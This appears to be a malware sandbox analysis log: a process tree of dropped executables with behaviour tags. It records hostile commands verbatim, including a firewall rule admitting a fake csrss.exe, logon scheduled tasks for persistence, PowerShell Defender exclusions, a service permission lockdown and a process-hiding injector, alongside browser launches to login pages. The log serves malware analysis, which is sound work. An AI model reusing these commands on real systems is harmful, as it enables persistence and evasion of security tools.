-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7920 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login5⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,8484343816895365368,10152296220550909080,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:36⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,8484343816895365368,10152296220550909080,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:26⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/5⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x178,0x17c,0x180,0x154,0x184,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2076,14298671652034061601,12776315865832860919,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:36⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2076,14298671652034061601,12776315865832860919,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:26⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login5⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,1451795922364187747,9039338791880395993,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 /prefetch:36⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login5⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x160,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,6838619085458851276,17443329092441299090,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:36⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,3330793389537021540,3656106141960355739,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:36⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,14979508808050824153,13758638371523552871,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 /prefetch:36⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247186⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5UT0qf8.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5UT0qf8.exe3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Local\Temp\B17.exeC:\Users\Admin\AppData\Local\Temp\B17.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\DF6.exeC:\Users\Admin\AppData\Local\Temp\DF6.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\DF6.exeC:\Users\Admin\AppData\Local\Temp\DF6.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\4534.exeC:\Users\Admin\AppData\Local\Temp\4534.exe2⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Broom.exeC:\Users\Admin\AppData\Local\Temp\Broom.exe4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"4⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Executes dropped EXE
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\tuc3.exe"C:\Users\Admin\AppData\Local\Temp\tuc3.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-OPJ9A.tmp\tuc3.tmp"C:\Users\Admin\AppData\Local\Temp\is-OPJ9A.tmp\tuc3.tmp" /SL5="$601F4,3243561,76288,C:\Users\Admin\AppData\Local\Temp\tuc3.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Query5⤵
-
C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe"C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe" -i5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" helpmsg 285⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 helpmsg 286⤵
-
C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe"C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe" -s5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\latestX.exe"C:\Users\Admin\AppData\Local\Temp\latestX.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Users\Admin\AppData\Local\Temp\4DD0.exeC:\Users\Admin\AppData\Local\Temp\4DD0.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-LU88E.tmp\4DD0.tmp"C:\Users\Admin\AppData\Local\Temp\is-LU88E.tmp\4DD0.tmp" /SL5="$302C2,2673906,76288,C:\Users\Admin\AppData\Local\Temp\4DD0.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Program Files (x86)\Common Files\VolumeSYNCH\VolumeSYNCH.exe"C:\Program Files (x86)\Common Files\VolumeSYNCH\VolumeSYNCH.exe" -i4⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Query4⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" helpmsg 294⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 helpmsg 295⤵
-
C:\Program Files (x86)\Common Files\VolumeSYNCH\VolumeSYNCH.exe"C:\Program Files (x86)\Common Files\VolumeSYNCH\VolumeSYNCH.exe" -s4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\4F29.exeC:\Users\Admin\AppData\Local\Temp\4F29.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\513D.exeC:\Users\Admin\AppData\Local\Temp\513D.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\513D.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wabzaZXb.exe"3⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wabzaZXb" /XML "C:\Users\Admin\AppData\Local\Temp\tmpCE38.tmp"3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\513D.exe"C:\Users\Admin\AppData\Local\Temp\513D.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\539F.exeC:\Users\Admin\AppData\Local\Temp\539F.exe2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"3⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2888 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2864 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3508 /prefetch:34⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3520 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3444 /prefetch:24⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5156 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5404 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5404 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:14⤵
-
C:\Users\Admin\AppData\Local\Temp\55D3.exeC:\Users\Admin\AppData\Local\Temp\55D3.exe2⤵
- Executes dropped EXE
-
